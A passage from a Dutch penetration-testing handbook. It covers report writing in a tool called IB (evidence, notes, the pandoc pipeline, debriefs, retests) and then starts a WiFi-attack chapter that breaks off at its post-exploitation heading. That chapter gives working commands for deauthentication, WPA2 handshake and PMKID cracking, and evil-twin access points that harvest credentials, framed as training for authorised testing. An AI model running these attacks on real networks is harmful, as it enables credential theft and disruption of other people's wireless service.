De Subsequent System Impact metrics zijn bijzonder relevant voor netwerk-pentests. Wanneer je een webserver compromitteert en van daaruit het interne netwerk binnendringt, is de impact op het kwetsbare systeem (de webserver) misschien beperkt, maar de impact op downstream systemen (Active Directory, databases, file shares) kan catastrofaal zijn. CVSS 4.0 laat je dit onderscheid expliciet maken.

IB Tip: De CVSS 4.0 calculator synchroniseert automatisch met de cvss en basescore velden in het finding-formulier. Wijzig je de vector string handmatig, dan updaten de dropdowns zich automatisch. Wijzig je een dropdown, dan wordt de vector string opnieuw gegenereerd en de score herberekend via de server-side API.

15.3 Evidence Management

Bewijs verzamelen is een ding. Bewijs organiseren is een heel ander beest. En net als bij elke vorm van bewijsvoering geldt: als je het niet kunt terugvinden, bestaat het niet.

15.3.1 Evidence Uploaden in IB

IB heeft een evidence management systeem dat bestanden direct aan findings koppelt. De API endpoints zijn:

Het systeem accepteert een breed scala aan bestandstypen:

Categorie Toegestane types
Afbeeldingen PNG, JPEG, GIF, WebP
Documenten PDF, plain text, HTML, CSV
Data JSON, XML
Overig ZIP, octet-stream

De maximale bestandsgrootte is 10 MB per upload. Bestanden worden opgeslagen in meuk/flask/db/evidence/<finding_id>/ met een UUID-gebaseerde bestandsnaam om conflicten te voorkomen, terwijl de originele bestandsnaam bewaard blijft in de database voor weergave en download.

# Upload evidence via curl
curl -X POST -F "file=@bloodhound_path_to_da.png" \
  http://127.0.0.1:5000/api/findings/42/evidence

# Lijst evidence voor finding 42
curl http://127.0.0.1:5000/api/findings/42/evidence

# Exporteer alle evidence als ZIP
curl -o evidence_backup.zip \
  http://127.0.0.1:5000/api/findings/evidence/export

15.3.2 Organisatie: Per Bevinding, Per Systeem

De evidence directory structuur in IB is bewust simpel gehouden:

meuk/flask/db/evidence/
  1/
    a4f8e2c1d3b5.png      # BloodHound screenshot
    7c9d1e0f2a3b.txt      # Nmap output
  2/
    b5e3f1a2c4d6.png      # Mimikatz output screenshot
    d8f2a1b3c5e7.pcap     # Network capture
  3/
    ...

Elk finding-ID heeft zijn eigen subdirectory. Dit betekent dat wanneer je een finding verwijdert, alle bijbehorende evidence automatisch wordt opgeruimd dankzij de SQLAlchemy cascade delete (cascade='all, delete-orphan' op de evidence_files relatie).

Voor netwerk-pentests met tientallen systemen is het slim om je finding-namen te structureren per systeem. In plaats van vijf losse findings genaamd “Zwak wachtwoord” maak je findings aan als:

Het locatie veld in het finding-formulier is specifiek bedoeld voor het IP-adres of de hostname. Gebruik dit consistent – het verschijnt in de findings-tabel en maakt het overzicht scanbaar.

15.3.3 Screenshots van BloodHound, Terminal Output, en Meer

Specifieke types evidence die je voor netwerk-pentests wilt bewaren:

BloodHound grafen: - Shortest Path to Domain Admin - Kerberoastable accounts met paden naar privileged groups - Sessions op high-value targets - Dangerous ACL-relaties

Terminal output: - CrackMapExec scans met gemarkeerde succesvolle logins - Impacket tool output (secretsdump, GetNPUsers, GetUserSPNs) - Responder captures met gecrashte hashes - PowerView enumeratie-resultaten

Netwerk-diagrammen: - Netwerktopologie zoals ontdekt tijdens de test - Segmentatie (of het gebrek daaraan) - Firewall-regels die je hebt weten te omzeilen

IB Tip: Gebruik de ZIP-export functie (/api/findings/evidence/export) aan het einde van elk project om een complete backup te maken van al je bewijsmateriaal. Het ZIP-bestand structureert de bestanden per finding-ID met de originele bestandsnamen.

15.4 Notes

De meest onderschatte functie in elke pentest-toolkit is de notitie-functie. Niet de flashy exploits, niet de geautomatiseerde scanners, niet de CVSS-calculator – maar simpele, ouderwetse notities.

15.4.1 Dagelijkse Notities Bijhouden

IB’s Notes blueprint (/dashboard/notes) biedt een minimalistische maar doeltreffende interface voor het bijhouden van dagelijkse notities. Elke notitie heeft een naam en een inhoudsveld, en verschijnt in een overzicht dat je kunt herschikken via drag-and-drop.

Het notes-systeem heeft twee slimme eigenschappen:

1. Volgorde via drag-and-drop Sleep notities in de gewenste volgorde. De volgorde wordt opgeslagen via POST /api/notes/reorder en bepaalt de volgorde waarin notities in het rapport verschijnen. Begin elke dag met een nieuwe notitie – “Dag 1: Verkenning”, “Dag 2: Initial Access”, “Dag 3: Privilege Escalation” – en sleep ze in chronologische volgorde.

2. Rapport toggle Elke notitie heeft een checkbox “Rapport” die bepaalt of de notitie wordt opgenomen in het gegenereerde rapport. Niet alles wat je noteert hoort in het eindproduct. Interne opmerkingen (“Koffie is op, IT-manager zegt dat netwerk altijd zo traag is”) houd je uit het rapport door de checkbox uit te vinken.

De toggle werkt via POST /api/notes/<id>/toggle-rapport en visueel verandert de notitie van kleur – notities die in het rapport worden opgenomen krijgen een groene rand.

15.4.2 Markdown en LaTeX Support in IB Notes

Het inhoudsveld van notities ondersteunt LaTeX-opmaak via dezelfde LaTeX toolbar die ook in de finding editor zit. De toolbar in “note” modus biedt toegang tot:

Dit is bijzonder handig omdat je notities – zodra je de “Rapport” checkbox aanvinkt – direct als subsecties in het rapport verschijnen. De gen_rapport() functie in IB itereert over alle notities met rapport=True, gesorteerd op volgorde, en voegt ze toe aan de “Verkenning & ontdekking” sectie van het LaTeX-document:

for notitie in notities:
    notes = notes + '\\subsection{' + (notitie.naam or '') + '}\n'
              + (notitie.uitwerken or '') + '\n\n'

Je notities worden letterlijk subsecties in het rapport. Dit betekent dat als je je notities al in LaTeX-opmaak schrijft – met \begin{lstlisting} voor code en \plaatje{}{} voor afbeeldingen – ze naadloos in het rapport passen zonder extra bewerking.

15.4.3 Van Notities naar Findings

De workflow in IB is ontworpen om een vloeiende overgang te maken van ruwe notities naar gestructureerde findings:

  1. Tijdens de test: Schrijf notities. Elke ontdekking, elke observatie, elk commando dat iets oplevert. Gebruik de chronologische dagstructuur.
  2. Aan het einde van elke dag: Bekijk je notities. Welke observaties zijn findings? Maak voor elk potentieel rapport-waardige ontdekking een finding aan.
  3. Na de test: Gebruik de “Rapport” toggle om te bepalen welke notities als verkenningssecties in het rapport verschijnen. De findings sectie wordt apart gegenereerd op basis van de templates.

Deze scheiding – notities voor het narratief, findings voor de kwetsbaarheden – zorgt ervoor dat je rapport zowel het verhaal vertelt (hoe ben je binnengekomen, welke stappen heb je gezet) als de concrete bevindingen documenteert (wat is kwetsbaar, hoe erg is het, wat moet er gebeuren).

IB Tip: Schrijf je notities in de tegenwoordige tijd alsof je het nu doet: “Scan het 10.10.10.0/24 netwerk met nmap. Poort 445 staat open op 14 systemen.” Dit leest natuurlijker in het rapport en geeft de lezer het gevoel mee te kijken terwijl de test plaatsvindt.

15.5 Rapport Generatie

Dit is waar de magie gebeurt. Of beter gezegd: waar alle voorgaande magie wordt omgezet in een document dat iemand daadwerkelijk wil lezen.

15.5.1 IB’s pandoc/LaTeX Pipeline

IB’s rapportgeneratie is een pipeline die LaTeX-templates omzet via HTML naar Markdown, en uiteindelijk via pandoc naar het gewenste uitvoerformaat. Het klinkt als een Rube Goldberg-machine, en eerlijk gezegd – dat is het ook een beetje. Maar het werkt.

De gen_rapport() functie in findings.py doorloopt de volgende stappen:

Stap 1: Data verzamelen

bevindingen = db_bevindingen.query.group_by(db_bevindingen.ref).all()
notities = db_notes.query.filter_by(rapport=True).order_by(db_notes.volgorde.asc()).all()

Findings worden gegroepeerd op ref (template-ID) zodat meerdere instanties van dezelfde kwetsbaarheid samen worden gepresenteerd. Notities worden gefilterd op de rapport-toggle en gesorteerd op volgorde.

Stap 2: LaTeX genereren Voor elke finding-groep wordt het findings_nl.html template gerenderd. Dit template genereert LaTeX-code met: - Een \subsection per finding (of per template als er meerdere instanties zijn) - Een \bevindingkop met ID, OWASP-categorie en CWE-nummer - De template-beschrijving - Per-instantie uitwerkingen als \subsubsection - Risico-inschatting, impact, aanbeveling, en referenties - Een \newpage tussen bevindingen

De notities worden via het notes.html template toegevoegd aan de verkenningssectie, met cross-references naar de bijbehorende findings via \uitwerking{bev<id>}.

Stap 3: LaTeX naar HTML De gegenereerde LaTeX wordt getransformeerd naar HTML via een reeks regex-vervangingen:

LaTeX HTML
\section{...} <h1>...</h1>
\subsection{...} <h2>...</h2>
\subsubsection{...} <h3>...</h3>
\begin{lstlisting} <pre>
\begin{itemize} <ul>
\plaatje{file}{caption} <img src="..." alt="..." />
\textbf{...} <strong>...</strong>
\footnote{...} [^voetnootN]
\label{...} <span id="...">
\newpage <div style="page-break-after: always">

Stap 4: HTML naar Markdown via pandoc De HTML wordt naar schijf geschreven als rapport/tex.html en vervolgens converteert pandoc het naar Markdown:

md = pandoc('rapport/tex.html', '-o', 'rapport/tex.md')

Stap 5: Markdown opschonen en frontmatter toevoegen Het resulterende Markdown-bestand wordt nabewerkt: escaped brackets worden hersteld, en een YAML frontmatter wordt toegevoegd met titel, subtitel, auteur en datum.

Het eindresultaat staat in rapport/tex.md – een compleet rapport in Markdown dat via pandoc naar PDF, DOCX, of elk ander formaat kan worden geconverteerd.

15.5.2 Template Structuur

De rapport-structuur die IB genereert ziet er als volgt uit:

---
title: "Pentest Rapport"
subtitle: "Rapportage"
author: Incompetent Bastard
date: today
---

# Verkenning & ontdekking
  ## [Notitie 1: Dag 1 Verkenning]
  ## [Notitie 2: Dag 2 Initial Access]
  ...cross-references naar findings...

# Bevindingen
  ## [Finding: SQL Injection in zoekfunctie]
    ### [ID | OWASP Categorie | CWE]
    [Beschrijving uit template]
    [Uitwerking per instantie]
    ### Risico
    ### Impact
    ### Aanbeveling
    ### Referenties
    ---page break---

  ## [Finding: Zwakke wachtwoorden]
    ...

De scheiding tussen “Verkenning & ontdekking” en “Bevindingen” is fundamenteel. Het eerste deel vertelt het verhaal van je test – hoe ben je te werk gegaan, wat heb je gevonden. Het tweede deel is de catalogus van kwetsbaarheden met alle technische details.

15.5.3 Executive Summary vs Technische Details

IB genereert primair het technische rapport. De executive summary – dat cruciale eerste hoofdstuk dat bepaalt of de rest van het rapport gelezen wordt – moet je zelf schrijven. Dit is geen tekortkoming; dit is by design.

Een executive summary laat zich niet automatiseren. Het vereist menselijk oordeel: wat is het overkoepelende risico? Wat is de rode draad door alle bevindingen? Welke business impact heeft dit? Kan een aanvaller bij klantgegevens? Kan de productie platgelegd worden?

Structuur van een effectieve executive summary:

  1. Scope en aanpak (2-3 zinnen): Wat is er getest, wanneer, en hoe?
  2. Algeheel risiconiveau (1 zin): Eenvoudige classificatie – Kritiek, Hoog, Gemiddeld, Laag.
  3. Belangrijkste bevindingen (3-5 bullet points): De showstoppers, in begrijpelijke taal.
  4. Positieve observaties (2-3 bullet points): Wat ging er goed? Dit bouwt goodwill.
  5. Aanbeveling op hoofdlijnen (1-2 zinnen): Wat moet er nu gebeuren?

Schrijf deze samenvatting alsof je doelgroep geen technische kennis heeft. Niet “NTLM relay naar Domain Admin via unconstrained delegation” maar “Een aanvaller op het interne netwerk kan binnen 15 minuten volledige controle over alle systemen krijgen, zonder dat er een wachtwoord nodig is.”

15.5.4 Walkthrough: Compleet Rapport Genereren

Laten we het hele proces doorlopen, van begin tot eind.

1. Notities zijn geschreven Drie dagen pentest, drie notities met de “Rapport” checkbox aangevinkt: - “Dag 1: Netwerk verkenning en service discovery” - “Dag 2: Initieel compromitteren via Kerberoasting” - “Dag 3: Lateral movement en domain compromise”

2. Findings zijn aangemaakt Vijf findings gekoppeld aan templates, elk met host, CVSS-score, en uitwerking: - Kerberoastable service accounts (CVSS 7.5 - High) - Onveilige SMB shares (CVSS 5.3 - Medium) - Ontbrekende LAPS (CVSS 6.8 - Medium) - Cleartext credentials in scripts (CVSS 8.1 - High) - Geen netwerksegmentatie (CVSS 7.2 - High)

3. Evidence is geupload Screenshots, terminal recordings, en BloodHound exports gekoppeld aan de findings.

4. Rapport genereren Navigeer naar /dashboard/findings en klik op Generate report. IB opent een nieuw tabblad met de HTML-preview van je rapport, en schrijft tegelijkertijd drie bestanden: - rapport/findings_nl.tex – Het ruwe LaTeX-document - rapport/tex.html – De HTML-tussenvorm - rapport/tex.md – Het uiteindelijke Markdown-rapport

5. Naar PDF converteren Vanaf de command line:

cd rapport/
pandoc tex.md -o pentest_rapport.pdf \
  --pdf-engine=xelatex \
  --template=eisvogel \
  -V geometry:margin=2.5cm

Of naar DOCX voor organisaties die de voorkeur geven aan Word:

pandoc tex.md -o pentest_rapport.docx \
  --reference-doc=template.docx

15.5.5 Import en Export

IB ondersteunt het importeren en exporteren van findings in JSON-formaat. Dit is bijzonder handig voor:

De export (GET /api/findings/export) genereert een JSON-document met schema versie, timestamps, catalogi (OWASP, CWE, MITRE ATT&CK), standaard finding templates, en project findings inclusief alle metadata.

De import (POST /api/findings/import of via de upload-form op de findings-pagina) accepteert hetzelfde JSON-formaat en maakt automatisch findings en templates aan. Bestaande templates worden herkend op basis van standard_code; nieuwe templates worden aangemaakt als ze niet bestaan.

IB Tip: Exporteer je findings regelmatig – niet alleen aan het einde van het project. De JSON-export is een volledige snapshot van je werk en dient als backup als de SQLite database corrupt raakt.

15.6 Communicatie

Je rapport is af. Het is technisch correct, goed gestructureerd, en voorzien van overtuigend bewijsmateriaal. Nu komt het moeilijkste deel: het communiceren van je bevindingen aan mensen die misschien helemaal niet willen horen wat je te zeggen hebt.

15.6.1 De Debrief Meeting

Plan de debrief meeting zodra het rapport af is. Niet over twee weken, niet na de volgende sprint planning – nu. De urgentie van bevindingen neemt niet af met de tijd, maar het geheugen van je publiek wel.

Structureer de meeting als volgt:

Eerste 5 minuten: Context en scope. Herinner iedereen aan wat er getest is en waarom. Dit is geen verdediging van je werk, maar een framing van de discussie.

Volgende 15 minuten: De drie tot vijf belangrijkste bevindingen. Niet alle veertig. De showstoppers. Voor elke bevinding: wat is het, waarom is het erg, en wat moet eraan gedaan worden. Gebruik de IB HTML-preview om live door de bevindingen te lopen – het is visueler dan een PDF.

Volgende 10 minuten: Vragen en discussie. Bereid je voor op de klassiekers: “Kan dit echt in de praktijk?” (Ja, daarom heet het een proof of concept.) “Maar we hebben toch een firewall?” (Die hebben we omzeild, zie bevinding 3.) “Hoeveel kost het om alles te fixen?” (Minder dan een breach, dat is zeker.)

Laatste 5 minuten: Vervolgstappen. Wie doet wat, wanneer, en hoe weten we dat het gefixt is?

15.6.2 Risico in Business Taal Uitleggen

De grootste uitdaging in pentest-rapportage is niet het technische schrijven – het is de vertaling. Technisch jargon naar business impact. CVSS-scores naar euro’s en reputatieschade.

Slechte vertaling: > “We hebben via AS-REP roasting een TGT verkregen voor svc_backup, waarna we via constrained delegation een TGS voor de CIFS service op DC01 hebben aangevraagd en met behulp van DCSync de krbtgt hash hebben gedumpt.”

Goede vertaling: > “We hebben een onbeveiligd service-account gevonden waarmee we binnen twee uur volledige controle over al uw systemen konden overnemen – inclusief toegang tot alle e-mail, alle bestanden, en alle gebruikersaccounts. Een kwaadwillende medewerker of een aanvaller die toegang heeft tot uw netwerk zou hetzelfde kunnen doen.”

Beide beschrijvingen zijn waar. De eerste is nuttig voor het IT-team dat het moet fixen. De tweede is nuttig voor het management dat moet besluiten of het gefixt wordt. Je rapport heeft beide nodig.

15.6.3 Remediation Prioritering

Niet alle kwetsbaarheden zijn gelijk geschapen, en niet alle fixes zijn even dringend. Help je klant door een duidelijke prioritering te geven:

Onmiddellijk (binnen 48 uur): - Actief misbruikte kwetsbaarheden - Unauthenticated remote code execution - Default credentials op kritieke systemen - Cleartext wachtwoorden in bereikbare locaties

Kort termijn (binnen 2 weken): - Authenticated privilege escalation - Ontbrekende patches voor bekende CVE’s - Onveilige netwerkconfiguraties - Zwakke wachtwoordbeleid

Middellang termijn (binnen 3 maanden): - Architectuurverbeteringen (segmentatie, LAPS) - Monitoring en detectie verbeteren - Security awareness training - Proces- en procedure-aanpassingen

Lang termijn (binnen 6-12 maanden): - Zero Trust implementatie - Volledige PKI-uitrol - Identity governance programma - Continuous security testing

15.6.4 Herbeoordeling Plannen

Een pentest zonder herbeoordeling is als naar de dokter gaan, horen dat je hoge bloeddruk hebt, en vervolgens nooit meer terugkomen. De herbeoordeling – of retest – is waar je verifieert dat de gevonden kwetsbaarheden daadwerkelijk zijn opgelost.

Plan de retest vier tot zes weken na het opleveren van het rapport. Dit geeft het IT-team voldoende tijd om de kritieke en hoge bevindingen te verhelpen, maar niet genoeg tijd om het rapport in een la te laten verdwijnen.

Tijdens de retest: 1. Test elke bevinding opnieuw op exact hetzelfde systeem 2. Documenteer of de fix effectief is 3. Controleer of de fix geen nieuwe kwetsbaarheden heeft geintroduceerd 4. Lever een kort retest-rapport op met status per bevinding: opgelost, gedeeltelijk opgelost, niet opgelost

IB Tip: Gebruik de export/import functionaliteit om findings van het originele project te importeren in een nieuw IB-project voor de retest. Zo heb je alle originele bevindingen als referentiepunt.

15.7 Het Rapport dat Niemand Leest

En dan nu een moment van oprechte eerlijkheid, want als we het daar niet over hebben, dan liegt dit hele hoofdstuk.

Het meest deprimerende aspect van pentest-rapportage is dit: de gemiddelde levensduur van een pentest-rapport, gemeten vanaf het moment van oplevering tot het moment waarop het voorgoed in een digitale la verdwijnt, is ongeveer drie werkdagen. Twee daarvan zijn het weekend.

Je hebt weken besteed aan het testen. Dagen aan het schrijven. Uren aan het perfectioneren van screenshots, het tunen van CVSS-scores, het formuleren van aanbevelingen die zowel technisch accuraat als bestuurlijk begrijpelijk zijn. En dan stuurt iemand het PDF’tje door naar een gedeelde schijf waar het rustig gaat composteren naast de pentest-rapporten van 2019, 2020, 2021, 2022 – die overigens allemaal exact dezelfde bevindingen bevatten.

Want dat is het werkelijke schandaal. Het zijn niet de kwetsbaarheden zelf die het probleem zijn. Het is de systemische onwil om er iets aan te doen. Organisaties besteden duizenden euro’s aan een pentest, ontvangen een rapport met de bevinding dat hun halve netwerk openstaat, knikken beleefd in de debrief meeting, archiveren het rapport onder “compliance”, en bestellen volgend jaar dezelfde pentest opnieuw. Het is alsof je elk jaar een brandweerman betaalt om je te vertellen dat je huis in brand staat, hem beleefd bedankt, en vervolgens de voordeur weer dichtdoet.

Het compliance-circuit is hier bijzonder giftig. Organisaties die een pentest laten uitvoeren omdat het moet – van de auditor, van de verzekeraar, van de regelgever – zijn zelden geinteresseerd in de resultaten. Ze zijn geinteresseerd in het rapportje. In het stempel. In het vinkje op de checklist. “We hebben een pentest laten doen” is het doel, niet “we hebben ons netwerk beveiligd.” Het verschil tussen die twee zinnen is het verschil tussen security en security theater, en de meeste organisaties zitten stevig in het theater.

En wij – de pentesters, de rapportschrijvers, de professionele inbrekers – zijn medeplichtig. Elke keer dat we een rapport opleveren zonder op te volgen, elke keer dat we dezelfde bevinding voor het derde jaar op rij opschrijven zonder te escaleren, elke keer dat we “ja, het is opgelost” accepteren zonder te verifieren, zijn we de tandarts die zijn patient na een routinecontrole naar huis stuurt zonder te vragen of die eigenlijk weleens flost.

Dus hier is de ongemakkelijke waarheid: je rapport is niet af als het geschreven is. Het is af als de kwetsbaarheden zijn opgelost. En als ze niet worden opgelost, dan heb je niet gefaald als pentester – maar als communicator. En misschien moeten we daar wat eerlijker over zijn.

IB Tip: Plan de retest. Zet het in het contract. Maak het onderdeel van de offerte. Niet als optie, maar als vereiste. Een pentest zonder retest is een diagnose zonder behandeling.

15.8 Referentietabel

Topic IB Feature Route / Locatie
Findings Findings Management /dashboard/findings
Templates Standaard finding templates /dashboard/findings/templates/seed
CVSS CVSS 4.0 calculator Ingebouwd in Finding Editor
Evidence Evidence upload & management /api/findings/<id>/evidence
Notes Notes blueprint /dashboard/notes
Recordings Asciinema recordings player /dashboard/recordings
Rapport pandoc/LaTeX pipeline /dashboard/findings/rapport
Export JSON findings export /api/findings/export
Import JSON findings import /dashboard/findings/import
Evidence ZIP Evidence export als ZIP /api/findings/evidence/export

Samenvatting

Rapportage is het punt waarop al je technische briljantie wordt vertaald naar iets dat daadwerkelijk verandering teweegbrengt – of in een la belandt en vergeten wordt. Het verschil tussen die twee uitkomsten hangt niet af van hoe goed je kunt hacken, maar van hoe goed je kunt schrijven, communiceren, en opvolgen.

IB biedt de gereedschappen om dat proces te stroomlijnen: finding templates met OWASP, CWE en MITRE ATT&CK classificaties; een CVSS 4.0 calculator die de ernst van kwetsbaarheden consistent scoort; evidence management dat bewijsmateriaal aan findings koppelt; een notes-systeem dat je dagelijkse observaties omzet in rapportsecties; en een pandoc pipeline die alles samenvoegt in een professioneel document.

Maar gereedschappen zijn middelen, geen doelen. Het doel is niet een mooi rapport. Het doel is een veiliger netwerk. En dat vereist dat je rapport niet alleen gelezen wordt, maar ook uitgevoerd. Dat is uiteindelijk de echte test – niet of je binnen kon komen, maar of je ervoor hebt gezorgd dat de volgende keer de deur dicht is.

Wireless en WiFi Pentesting

Wireless en WiFi Pentesting

De ether als aanvalsoppervlak

Er is iets poëtisch aan WiFi-pentesting. Bij een webapplicatie zit je achter een scherm en stuur je pakketjes door een kabel. Bij een netwerk-pentest heb je tenminste nog een Ethernet-aansluiting. Maar bij WiFi zit je letterlijk in een bestelbus op de parkeerplaats van het doelwit en vangt je radiogolven op met een antenne die eruitziet alsof je hem hebt gekocht bij een rommelbeurs. Wat je ook precies doet.

Wireless-pentesting is het testen van de beveiligingsmaatregelen rondom draadloze netwerken. Dat klinkt eenvoudig, maar de realiteit is een labyrint van protocollen, handshakes, encryptiemethoden en hardwarecompatibiliteitsproblemen die je doen verlangen naar de eenvoud van SQL Injection.

De reden dat WiFi-beveiliging zo complex is, heeft te maken met het fundamentele verschil tussen bedrade en draadloze netwerken. Een bedraad netwerk heeft een fysieke grens: je moet een kabel in een poort steken. Een draadloos netwerk heeft geen grens. Het signaal stopt niet bij de muur van het kantoor — het gaat door de muur heen, de straat op, het parkeerterrein over, en het café aan de overkant in. Iedereen binnen bereik kan het signaal ontvangen. Iedereen.

Hardware en setup

De juiste adapter

Je laptop’s ingebouwde WiFi-adapter is ontworpen om verbinding te maken met netwerken. Dat is niet wat wij doen. Wij willen luisteren naar verkeer dat niet voor ons bedoeld is, en pakketten injecteren die niet van ons afkomstig zouden moeten zijn. Daarvoor heb je een adapter die monitor mode en packet injection ondersteunt.

Dit is een van de weinige gebieden in pentesting waar hardware ertoe doet. De verkeerde adapter betekent dat geen enkele tool werkt, hoe goed je ook bent. Het is alsof je probeert te vissen met een hamer — je kunt er hard mee slaan, maar je vangt er geen vis mee.

AdapterChipsetFrequentieOpmerkingen
Alfa AWUS036ACHRTL8812AU2.4 + 5 GHzBetrouwbaar op Kali, goede range
Alfa AWUS036AXMLMediaTek MT7921AU2.4 + 5 + 6 GHzWiFi 6 support, nieuwer
TP-Link TL-WN722N v1Atheros AR92712.4 GHzBudget, alleen v1 werkt!
Alfa AWUS1900RTL8814AU2.4 + 5 GHz4 antennes, maximale range

Monitor mode activeren

# Identificeer je adapter
iwconfig
# wlan0     IEEE 802.11  ESSID:off/any  Mode:Managed

# Methode 1: airmon-ng (aanbevolen)
airmon-ng check kill    # Stop interfering processen (NetworkManager etc.)
airmon-ng start wlan0
# wlan0mon is nu je monitor mode interface

# Methode 2: handmatig (als airmon-ng niet werkt)
ip link set wlan0 down
iw wlan0 set type monitor
ip link set wlan0 up
iw wlan0 set channel 6    # Optioneel: lock op een kanaal

# Verifieer
iwconfig wlan0mon
# Mode:Monitor ← succes!

Die eerste stap — airmon-ng check kill — is cruciaal. NetworkManager probeert continu je adapter te gebruiken om verbinding te maken met netwerken. Als je monitor mode probeert te activeren terwijl NetworkManager draait, is het alsof je probeert mee te luisteren met een gesprek terwijl iemand naast je een feesttoeter blaast.

Verkenning: wat is er in de lucht?

# Scan alle netwerken op alle kanalen
airodump-ng wlan0mon

# Output:
# BSSID              PWR  Beacons  #Data  #/s  CH  ENC   AUTH  ESSID
# AA:BB:CC:DD:EE:FF  -42  1247     893    12   6   WPA2  PSK   TargetNetwork
# 11:22:33:44:55:66  -71  843      21     0    1   WPA2  MGT   CorpWiFi
# 77:88:99:00:11:22  -85  234      0      0    11  OPN         FreeWiFi

# Interpretatie:
# PWR: signaalsterkte (hoe dichter bij 0, hoe sterker)
# ENC: encryptie (WPA2, WPA3, WEP, OPN = open)
# AUTH: authenticatie (PSK = pre-shared key, MGT = 802.1X enterprise)
# #Data: datapakketten (meer = actievere clients = beter voor ons)

# Focus op één netwerk
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# Nu zie je ook de verbonden clients:
# STATION            PWR   Packets  BSSID
# CC:DD:EE:FF:00:11  -38   1892     AA:BB:CC:DD:EE:FF   <-- actieve client

WPA2-PSK aanvallen

De 4-way handshake: het gouden ticket

WPA2-PSK authenticatie werkt via een 4-way handshake tussen de client en het access point. Als je deze handshake vangt — alle vier de EAPOL-frames — heb je alles wat je nodig hebt om het wachtwoord offline te kraken. Je hebt het wachtwoord zelf niet nodig om de handshake te vangen; je hoeft alleen maar te luisteren terwijl iemand anders verbinding maakt.

# Stap 1: Monitor het netwerk en wacht op een handshake
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# Stap 2: Forceer een herverbinding (in een tweede terminal)
# Deauthenticatie: stuur disconnect-pakketten naar een client
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF -c CC:DD:EE:FF:00:11 wlan0mon

# -0 5: stuur 5 deauth-frames
# -a: BSSID van het access point
# -c: MAC-adres van de client

# De client disconnect en reconnect automatisch.
# Tijdens die reconnect vangt airodump de handshake.
# Je ziet rechtsboven: "WPA handshake: AA:BB:CC:DD:EE:FF"

# Stap 3: Kraken met aircrack-ng (CPU)
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap

# Stap 4: Kraken met hashcat (GPU, veel sneller)
# Converteer eerst naar hashcat-formaat
hcxpcapngtool capture-01.cap -o hash.hc22000

# Kraken
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt

# Hashcat snelheden (voorbeeld):
# GTX 1080: ~400.000 WPA2 hashes/seconde
# RTX 4090: ~2.500.000 WPA2 hashes/seconde
# rockyou.txt (14M woorden) in 6 seconden op een RTX 4090

De deauthenticatie-aanval is de brutale maar effectieve methode. Je gooit iemand van het netwerk af en wacht tot hij terugkomt. Het is als de brandalarm in een kantoor laten afgaan zodat je kunt kijken wie welke sleutel gebruikt om weer naar binnen te gaan.

PMKID aanval: zonder deauthenticatie

De PMKID-aanval, ontdekt in 2018 door Jens “atom” Steube (de maker van hashcat), was een game-changer. Je hebt geen client nodig. Je hebt geen deauthenticatie nodig. Je hoeft alleen maar het eerste bericht van de 4-way handshake op te vangen — en dat wordt door het access point zelf gestuurd als reactie op een associatie-verzoek.

# hcxdumptool: vangt PMKID's (en handshakes) passief
hcxdumptool -i wlan0mon --enable_status=1 -o dump.pcapng

# Laat het een paar minuten draaien
# Het stuurt automatisch associatie-requests naar elk AP in bereik
# en vangt de PMKID op uit de response

# Converteer naar hashcat-formaat
hcxpcapngtool dump.pcapng -o hash.hc22000

# Kraken
hashcat -m 22000 hash.hc22000 wordlist.txt

# Waarom werkt dit?
# De PMKID is: HMAC-SHA1-128(PMK, "PMK Name" || MAC_AP || MAC_Client)
# De PMK wordt afgeleid van het WiFi-wachtwoord
# Als je de PMKID hebt + het SSID + beide MAC-adressen,
# kun je offline wachtwoorden proberen

WPA Enterprise (802.1X)

WPA Enterprise is fundamenteel anders dan WPA-PSK. In plaats van een gedeeld wachtwoord, heeft elke gebruiker eigen credentials. Authenticatie verloopt via een RADIUS-server en het EAP (Extensible Authentication Protocol) framework. De meest voorkomende variant is PEAP-MSCHAPv2: de client maakt een TLS-tunnel naar de RADIUS-server en stuurt daarbinnen een gebruikersnaam en wachtwoord-hash.

# Evil Twin aanval op WPA Enterprise
# Stap 1: Maak een fake access point met dezelfde SSID
# hostapd-mana: een gemodificeerde hostapd die credentials vangt
cat > mana.conf <<EOF
interface=wlan0mon
ssid=CorpWiFi
channel=1
hw_mode=g
ieee8021x=1
eap_server=1
eap_user_file=mana.eap_user
ca_cert=/etc/freeradius/3.0/certs/ca.pem
server_cert=/etc/freeradius/3.0/certs/server.pem
private_key=/etc/freeradius/3.0/certs/server.key
mana_wpe=1
mana_eapsuccess=1
EOF

hostapd-mana mana.conf

# Stap 2: Deauth clients van het echte AP
aireplay-ng -0 0 -a REAL_AP_BSSID wlan0mon

# Clients reconnecten naar jouw fake AP en sturen hun credentials
# Je ziet MSCHAPv2 challenge/response paren in de output

# Stap 3: Kraken
# asleap (specifiek voor MSCHAPv2)
asleap -C CHALLENGE_HEX -R RESPONSE_HEX -W /usr/share/wordlists/rockyou.txt

# hashcat (mode 5500 voor NetNTLMv1, mode 5600 voor NetNTLMv2)
hashcat -m 5500 hash.txt /usr/share/wordlists/rockyou.txt

Evil Twin: de valse tweeling

Een Evil Twin is een nep access point dat zich voordoet als een legitiem netwerk. Wanneer een gebruiker verbinding maakt met de Evil Twin in plaats van het echte AP, loopt al het verkeer via jou. Het is de WiFi-variant van een man-in-the-middle aanval, maar dan zonder dat je een bestaande verbinding hoeft te onderscheppen — de gebruiker komt vrijwillig naar jou toe.

# Methode 1: Eenvoudige Evil Twin met hostapd + dnsmasq

# hostapd.conf
interface=wlan0mon
ssid=FreeWiFi
channel=6
hw_mode=g

# dnsmasq.conf (DHCP + DNS)
interface=wlan0mon
dhcp-range=192.168.1.10,192.168.1.100,255.255.255.0,12h
server=8.8.8.8

# Start
hostapd hostapd.conf &
dnsmasq -C dnsmasq.conf &

# Routing en NAT
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
echo 1 > /proc/sys/net/ipv4/ip_forward

# Nu fungeert je laptop als een werkend access point
# Al het verkeer van verbonden clients loopt via jou

# Methode 2: Captive portal (credential harvesting)
# Gebruik Fluxion of WiFi-Pumpkin voor een automatische setup
# De client ziet een inlogpagina die lijkt op de corporate WiFi portal

Post-exploitatie

